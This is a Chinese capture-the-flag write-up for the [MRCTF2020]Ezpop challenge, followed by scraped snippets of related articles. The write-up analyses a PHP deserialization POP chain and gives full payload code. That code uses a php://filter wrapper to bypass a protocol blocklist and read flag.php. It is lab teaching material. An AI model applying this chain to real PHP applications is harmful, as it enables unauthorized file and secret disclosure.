题目:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

反序列化直接分析,构造pop链

1.先分析第一个类,Modifier

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发

2.show

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

__construct方法,接收参数$file$this->source = $file$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php

__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发

__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter

3.Test

class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
}

__construct方法,把p对象变成一个数组。

__get方法,从不可访问的属性中读取数据会触发

4.分析

$value接收什么可以控制

__invoke调用append,里面有$value

__get将对象p作为函数调用,p实例化为Modify类,而触发__invoke

__toString访问strsource属性,strsource属性,而触发__get

__wakeup把对象当成字符串处理(做匹配的时候),触发__toString

使用反序列化函数触发__wakeup

5.payload构造思路

Modifier类,先把$var的值写成伪协议读源码

class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

show类,这是pop链最开始,使用反序列化触发__wakeup__wakeup直接触发__toString,然后访问source触发__get

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "HNPC";
}
}

Test类,p实例化为Modify

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

最后

$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));

6.payload

<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
} class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file; }
} class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
 
image.png

pop传入,之后base64解码,得到flag

作者:浩歌已行
链接:https://www.jianshu.com/p/150cb693f77b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

[MRCTF2020]Ezpop的更多相关文章

  1. 刷题[MRCTF2020]Ezpop

    解题思路 打开一看直接是代码审计的题,就嗯审.最近可能都在搞反序列化,先把反序列化的题刷烂,理解理解 代码审计 Welcome to index.php <?php //flag is in f ...

  2. WP | [MRCTF2020]Ezpop

    2020.10.14 最近开始努力提高代码能力 题目代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Le ...

  3. [BJDCTF2020]EzPHP-POP链

    那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...

  4. [BUUCTF]REVERSE——[MRCTF2020]hello_world_go

    [MRCTF2020]hello_world_go 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索程序里的字符串,有很多,直接检索flag 一个一个点过去,找到了flag 按a,提取 ...

  5. [BUUCTF]REVERSE——[MRCTF2020]Xor

    [MRCTF2020]Xor 附件 步骤: 例行检查,32位程序,无壳 32位ida载入,首先检索程序里的字符串,根据字符串的提示,跳转到程序的关键函数 根据flag,跳转到sub_401090函数 ...

  6. [BUUCTF]REVERSE——[MRCTF2020]Transform

    [MRCTF2020]Transform 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,找到关键函数 一开始让我们输入一个长度为33位的字符串,之后使用数组dword_40F040打乱了 ...

  7. MRCTF2020 你传你🐎呢

    MRCTF2020 你传你 .htaccess mime检测 1.先尝试上传了一个文件,发现.jpg后缀的可以上传成功,但是用蚁剑连接时返回空数据 2.重新先上传一个.htaccess文件,让需要被上 ...

  8. [MRCTF2020]Ezaudit

    [MRCTF2020]Ezaudit 知识点 1.源码泄露 2.伪随机数 3.sql注入? 题解 打开题目是个漂亮的前端,扫一下发现www.zip文件泄露,下载审计 <?php header(' ...

  9. MRCTF2020 套娃

    MRCTF2020套娃 打开网页查看源代码 关于$_SERVER['QUERY_STRING']取值,例如: http://localhost/aaa/?p=222 $_SERVER['QUERY_S ...

随机推荐

  1. 搞微服务用阿里开源的 Nacos 真香啊!

    本文适合有 Java 基础知识的人群 本文作者:HelloGitHub-秦人 HelloGitHub 推出的<讲解开源项目>系列,今天给大家带来一款开源 Java 版可以实现动态服务发现, ...

  2. [转自王垠]完全用GNU/Linux工作,摈弃Windows低效率的工作方式

    ZT (a qinghua student's article) 我已经半年没有使用 Windows 的方式工作了.Linux 高效的完成了我所有的工作. GNU/Linux 不是每个人都想用的.如果 ...

  3. 设置Eclipse 字体 - MD终于摸到了

    以前总是没办法设置Eclipse的 左边 资源管理器 字体.思想老局限在Eclipse的Font Setting里,跳不出这个玄妙的莫比乌斯环似的圈圈儿......每次戴着眼镜设置完字体,然后坐在电脑 ...

  4. day90:luffy:路飞项目前端部署

    目录 1.域名备案 2.域名解析 3.设置安全组 4.部署架构图 5.一些准备工作 6.docker 7.把前端项目通过nginx容器来运行 1.域名备案 腾讯云先要进行域名实名认证,实名认证三天后才 ...

  5. centos 升级内核并安装对应kernel-devel

    内核包使用ELReo提供 1.准备ELRepo (1)检测ELRepo是否安装 yum --disablerepo="*" --enablerepo="elrepo-ke ...

  6. opencv 学习1 gui属性

    1.图像 先定一个小目标学习两个个功能 1.学习怎样读入一副画像,以及如何保存一副图像 2.学习三个函数cv2.imread(), cv2.imshow() , cv2.imwrite() 1.1读入 ...

  7. Markdown 常用语言关键字

    Markdown 语法高亮支持的语言还是比较多的,记下来备用. 语言名 关键字 Bash bash CoffeeScript coffeescript C++ cpp C# cs CSS css Di ...

  8. 01Java环境安装监测

    下载安装JDK JDK:Java开发套件 JDK下载 监测JDK安装是否成功 运行Java命令 运行Javac命令

  9. Linux——CentOS 7 systemctl和防火墙firewalld命令

    一.防火墙的开启.关闭.禁用命令 (1)设置开机启用防火墙:systemctl enable firewalld.service (2)设置开机禁用防火墙:systemctl disable fire ...

  10. classmethod、staticclassmethod内置装饰器函数

    # method 英文是方法的意思 # classmethod 类方法 # 当一个类中的方法中只涉及操作类的静态属性时,此时在逻辑上,我们想要直接通过类名就可以调用这个方法去修改类的静态属性,此时可以 ...